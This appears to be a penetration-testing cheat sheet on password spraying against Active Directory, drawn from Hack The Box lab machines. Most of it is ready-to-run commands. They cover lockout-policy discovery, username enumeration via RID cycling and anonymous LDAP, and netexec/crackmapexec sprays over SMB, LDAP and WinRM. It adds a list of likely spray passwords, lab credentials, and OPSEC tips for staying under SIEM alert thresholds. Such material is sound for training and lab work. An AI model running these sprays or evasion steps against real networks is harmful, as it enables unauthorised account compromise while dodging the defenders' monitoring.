Password Spraying
#Overview
Password spraying attempts one or a few common passwords against many user accounts, avoiding the account lockouts that make traditional brute forcing impractical. Common passwords include seasonal patterns, company names, and default templates. A successful spray provides authenticated access as a domain user, enabling BloodHound ingestion, Kerberoasting, and further enumeration.
#Prerequisites
- A list of valid domain usernames
- Knowledge of the account lockout policy (threshold and observation window)
- Network access to at least one authentication service (SMB, LDAP, WinRM, OWA, Kerberos)
#Detection & Enumeration
#Password Policy Discovery
# netexec SMB password policy
# --pass-pol: retrieves domain password and lockout policy
netexec smb 10.10.10.172 --pass-pol
# Output shows: lockout threshold, lockout duration, min password length, etc.
# Enum4linux (SMB enumeration including password policy)
enum4linux -a 10.10.10.172 | grep lockout
# Look for: lockout threshold, lockout duration
# LDAP-based policy enumeration (if credentials exist)
ldapsearch -D 'user' -w 'pass' -p 389 -h 10.10.10.192 \
-b "dc=blackfield,dc=local" -s sub "*" | grep lockoutThreshold
# lockoutThreshold: 0 means NO lockout (unlimited attempts — high risk of detection though)
# netexec with credentialed policy check
netexec smb cicada.htb -u 'guest' -p '' --shares
BASH
#User List Generation
# Method A: RID cycling via SMB null session
lookupsid.py guest@10.10.11.35 -no-pass | grep 'SidTypeUser'
impacket-lookupsid 'cicada.htb/guest'@cicada.htb -no-pass | grep 'SidTypeUser' | \
sed 's/.*\\\(.*\) (SidTypeUser)/\1/' > users.txt
# Method B: Anonymous LDAP bind
./windapsearch.py -d MEGABANK.LOCAL --dc-ip 10.10.10.172 -U | grep '@' | cut -d ' ' -f 2 | cut -d '@' -f 1 | uniq > users.txt
# Method C: Username generation from full names (from website/OSINT)
# Save full names to fullnames.txt, then:
./username-anarchy --input-file fullnames.txt --select-format first,flast,first.last,firstl > unames.txt
# Method D: Authenticated user enumeration
netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
BASH
#Lockout Threshold Awareness
Before spraying, determine the lockout policy:
- Threshold = 0: Unlimited attempts allowed (e.g., Blackfield). High noise but no risk of denial of service.
- Threshold = 3: Spray at most 1 password per account per observation window (typically 30 min).
- Threshold = 5: Can spray 2-3 passwords per account per window.
- Safe rule of thumb: One attempt per account per lockout window (often 30 minutes).
#Exploitation / Execution
#SMB Password Spraying
# Single password against user list
netexec smb 10.10.10.172 -d megabank -u users.txt -p 'Password123'
# Password list (spray each password against all users)
netexec smb 10.10.10.172 -d megabank -u users.txt -p passwords.txt
# Continue on success (don't stop at first valid credential)
netexec smb 10.10.10.172 -d megabank -u users.txt -p passwords.txt --continue-on-success
# Using crackmapexec (legacy name)
crackmapexec smb 10.10.10.172 -u users.txt -p passwords.txt --continue-on-success
# Spray found credential against all users (horizontal movement)
netexec smb 10.10.11.231 -u usernames.txt -p '1GR8t@$$4u' --continue-on-success
BASH
#LDAP Password Spraying
# Authenticated LDAP spray (less likely to trigger lockout on some configurations)
netexec ldap 10.10.10.10 -u users.txt -p 'Summer2024!'
BASH
#WinRM Spraying
# WinRM is often available on DCs and member servers
netexec winrm 10.10.10.172 -u users.txt -p passwords.txt --continue-on-success
BASH
#Real-World Spraying Workflow (from Monteverde)
# 1. Get user list from anonymous LDAP
python windapsearch.py -u "" --dc-ip 10.10.10.172 -U | grep '@' | cut -d ' ' -f 2 | cut -d '@' -f 1 | uniq > users.txt
# 2. Download a statistically likely password list + append usernames
wget https://raw.githubusercontent.com/insidetrust/statistically-likely-usernames/master/weak-corporate-passwords/english-basic.txt
cat users.txt >> english-basic.txt
# 3. Spray (no lockout threshold found)
crackmapexec smb 10.10.10.172 -d megabank -u users.txt -p english-basic.txt
# [+] megabank\SABatchJobs:SABatchJobs
BASH
#Real-World Spraying Workflow (from Cicada)
# 1. Guest access -> lookupsid for user list
impacket-lookupsid 'cicada.htb/guest'@cicada.htb -no-pass | grep 'SidTypeUser' | \
sed 's/.*\\\(.*\) (SidTypeUser)/\1/' > users.txt
# 2. Spray the discovered default password
crackmapexec smb cicada.htb -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
# [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
BASH
#Common Spray Passwords
| Pattern | Examples |
|---|---|
| Season + Year | Summer2024!, Spring2025, Fall2024 |
| Company + Number | Megabank1, Cicada2024!, Corp123 |
| Default/Microsoft | Password1, Welcome123, P@ssw0rd |
| Location + Pattern | London2024!, NYC@Summer |
| Username as password | SABatchJobs (from Monteverde) |
| Keyboard walks | Qwerty123, 1qaz2wsx |
#Common Pitfalls
- All STATUS_LOGON_FAILURE: The password is not in use. Try variations (capitalization, year changes) or different protocols.
- Accounts locking out: You exceeded the threshold. Wait the full observation window before resuming.
- STATUS_PASSWORD_EXPIRED: The credential is valid but expired. Note the user and move on.
- STATUS_ACCOUNT_DISABLED: The user account is disabled. Skip it.
#OPSEC Considerations
- Each failed login attempt generates Event ID 4625 (failed logon) on the target system
- Successful logins generate Event ID 4624
- Large-scale spraying generates a high volume of 4625 events in a short window — this is a classic SIEM alert
- Space out attempts over time if stealth is required. Use a sleep between each attempt.
- Consider which protocol to spray; Kerberos pre-auth (port 88) may generate different logs than SMB (port 445)
- Avoid spraying against the Administrator account (RID 500) — it gets special monitoring in many environments
#Post-Exploitation Value
- Valid domain credentials for SMB share access and enumeration
- Potential WinRM access if user is in Remote Management Users group
- The foothold account can be used for BloodHound ingestion via
bloodhound-python - Enables Kerberoasting and further credential discovery
#Cross-References
#Tool References
| Tool | Link |
|---|---|
| netexec / CrackMapExec | https://github.com/Pennyw0rth/NetExec |
| Username Anarchy | https://github.com/urbanadventurer/username-anarchy |
| lookupsid (Impacket) | https://github.com/fortra/impacket |
| windapsearch | https://github.com/ropnop/windapsearch |
#Source Machines
- Cicada (Easy) — Guest SMB -> lookupsid -> spray default password "Cicada$M6Corpb*@Lp#nZp!8" -> michael.wrightson
- Monteverde (Medium) — Anonymous LDAP -> windapsearch -> spray username-as-password -> SABatchJobs
- Rebound (Insane) — Spray ldap_monitor password against user list -> oorend account
- Multimaster (Insane) — SQLi -> crack passwords -> spray against WinRM -> tushikikatomo